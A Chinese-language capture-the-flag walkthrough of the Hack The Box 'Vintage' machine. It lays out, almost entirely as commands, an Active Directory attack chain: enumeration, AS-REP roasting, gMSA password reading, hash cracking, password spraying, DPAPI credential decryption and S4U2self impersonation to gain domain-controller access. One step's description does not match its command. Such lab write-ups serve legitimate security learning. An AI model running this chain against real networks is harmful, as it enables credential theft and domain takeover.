域渗透实战之HTB-Vintage
字数 1142 2025-08-22 12:23:06
HTB-Vintage域渗透实战教学文档
初始信息
- 初始凭据:
P.Rosa / Rosaisbest123 - 目标IP:
10.10.11.45 - 域名:
vintage.htb
信息收集阶段
端口扫描
- 快速扫描开放端口:
nmap -sT --min-rate 10000 -p- 10.10.11.45 -oA nmapscan/port
- 详细扫描开放端口:
grep open nmapscan/port.nmap | awk -F'/' '{print $1}' | paste -sd , | xargs nmap -sTVC -O -p
发现开放端口: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389等
LDAP服务枚举
- 基础信息收集:
ldapsearch -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w "Rosaisbest123" -b '' -s base "(objectclass=user)"
发现ldapServiceName: vintage.htb:dc01$@VINTAGE.HTB,将其添加到/etc/hosts
- 使用Windapsearch枚举用户:
python3 windapsearch.py --dc-ip 10.10.11.45 -u P.Rosa@vintage.htb -p Rosaisbest123 -U
获取用户列表:
Administrator
Guest
krbtgt
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm
SMB服务利用
- 尝试Kerberos认证:
impacket-getTGT vintage.htb/P.Rosa:'Rosaisbest123' -dc-ip 10.10.11.45
export KRB5CCNAME=P.Rosa.ccache
- 解决时间同步问题:
sudo timedatectl set-ntp off
sudo rdate -n vintage.htb
- 枚举RID:
netexec smb dc01.vintage.htb -d vintage.htb -k --use-kcache --rid-brute
Kerberos攻击
- AS-REP Roasting攻击:
impacket-GetNPUsers -dc-ip 10.10.11.45 -no-pass -request -usersfile user_list vintage.htb/
Bloodhound分析
- 收集数据:
bloodhound-python -c All -u P.Rosa -p Rosaisbest123 -ns 10.10.11.45 -d vintage.htb -dc dc01.vintage.htb --zip
- 启动Bloodhound分析:
sudo neo4j restart
bloodhound
发现FS01属于WINDOWS 2000 Compatible Access组,可作为突破点
Pre2k枚举
- 使用pre2k枚举有效用户:
python3 pre2k.py unauth -d vintage.htb -dc-ip dc01.vintage.htb -inputfile user_list
发现FS01$用户
- 获取FS01$的TGT:
impacket-getTGT vintage.htb/FS01$:fs01
export KRB5CCNAME=FS01\$.ccache
域内关系利用
- 通过FS01$读取GMSA01密码:
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword
- 获取GMSA01$的NTLM哈希:
impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53
export KRB5CCNAME=GMSA01\$.ccache
- 将GMSA01$加入SERVICEMANAGERS组:
bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "GMSA01$"
- 禁用svc_sql的预认证:
bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
- 再次AS-REP Roasting获取svc_sql的哈希:
impacket-GetNPUsers -dc-ip 10.10.11.45 -no-pass -request -usersfile user_list vintage.htb/
- 使用john破解哈希:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
获得密码: Zer0the0ne
密码喷洒攻击
./kerbrute_linux_amd64 passwordspray --dc 10.10.11.45 -d vintage.htb user_list Zer0the0ne
发现C.Neri:Zer0the0ne和svc_sql:Zer0the0ne有效
DPAPI凭证提取
- 查找主密钥:
Get-ChildItem -Force C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Force C:\Users\C.Neri\AppData\Local\Microsoft\Protect\
- 查找凭证文件:
Get-ChildItem -Force C:\Users\C.Neri\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Force C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\
- 解密主密钥:
impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
- 解密凭证:
impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
获得凭据: c.neri_adm:Uncr4ck4bl3P4ssW0rd0312
S4U2SELF提权
- 查看svc_sql的SPN:
Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames
- 添加SPN:
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k set object "SVC_SQL" servicePrincipalName -v "cifs/test"
- 将svc_sql加入DELEGATEDADMINS组:
bloodyAD --host dc01.vintage.htb --dc-ip 10.10.11.45 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS" "SVC_SQL"
- 获取L.BIANCHI_ADM的票据:
impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'
- 使用票据执行命令:
impacket-wmiexec -k -no-pass VINTAGE.HTB/L.BIANCHI_ADM@dc01.vintage.htb
总结
本渗透测试通过以下关键路径完成:
- 初始凭据P.Rosa/Rosaisbest123
- 发现FS01$用户并获取其TGT
- 利用FS01\(读取GMSA01\)密码
- 通过GMSA01$控制SERVICEMANAGERS组
- 禁用svc_sql预认证并获取其哈希
- 密码喷洒获取C.Neri凭据
- DPAPI提取c.neri_adm凭据
- S4U2SELF模拟L.BIANCHI_ADM获取域控权限
关键工具:
- impacket套件
- Windapsearch
- Bloodhound
- bloodyAD
- Kerbrute
- DPAPI工具